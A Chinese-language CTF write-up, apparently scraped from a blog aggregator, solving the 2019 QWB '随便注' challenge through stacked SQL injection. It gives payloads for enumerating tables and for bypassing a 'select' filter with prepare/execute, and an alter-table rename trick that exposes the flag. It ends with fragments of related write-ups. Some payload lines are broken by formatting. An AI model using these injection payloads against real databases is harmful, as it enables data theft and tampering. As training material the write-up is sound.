強網杯 2019 隨便注

2021-10-05 23:47:53 字數 2720 閱讀 7251

知識點

原理參考堆疊注入詳解

開啟題目,如圖所示

嘗試-1' union select 1,2#發現select被禁

嘗試堆疊注入

查庫

查表

查1919810931114514表的列名

1';show columns from `1919810931114514`#
這裡表名使用反引號進行包含

應該就是從1919810931114514中查flag

查words表的列名

兩種方式查flag

第一種 預編譯

來自2019強網杯"隨便注"學習

需要執行的目標語句為

select *

from `1919810931114514`;

預編譯相關語法如下

set用於設定變數名和值

prepare用於預備乙個語句,並賦予名稱,以後可以引用該語句

execute執行語句

deallocate prepare用來釋放掉預處理的語句

payload

-

1';set @sql = concat('se','lect *

from `1919810931114514`;')

;prepare stmt from @sql;execute stmt;#即

-1';

set @sql = concat(

'se'

,'lect * from `1919810931114514`;');

prepare stmt from @sql;

execute stmt;

#

回顯strstr($inject, "set") && strstr($inject, "prepare")strstr無法區分大小寫,用大小寫繞過

-

1';set @sql = concat('se','lect *

from `1919810931114514`;')

;prepare stmt from @sql;execute stmt;#即

-1';

set @sql = concat(

'se'

,'lect * from `1919810931114514`;');

prepare stmt from @sql;

execute stmt;

#

第二種 重新命名猜測後台查詢語句為

select *

from words where id=''

;

將1919810931114514表名改為words,flag列名改為id,這樣後台從words表裡查詢id時,實際上查的是1919810931114514表的flag

改名語法如下

修改表名(將表名user改為users)

alter table user rename to users;

修改列名(將欄位名username改為name)

alter table users change uesrname name varchar(30)

;

payload

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50)

;#拆分開來如下

1';alter table words rename to words1;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(50)

;#

最後使用1' or 1=1#得到fla

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...

強網杯 2019 隨便注

根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單 return preg match select update delete drop insert where i inject 這道題使用的是堆疊注入,原理 在sql中,分號 是...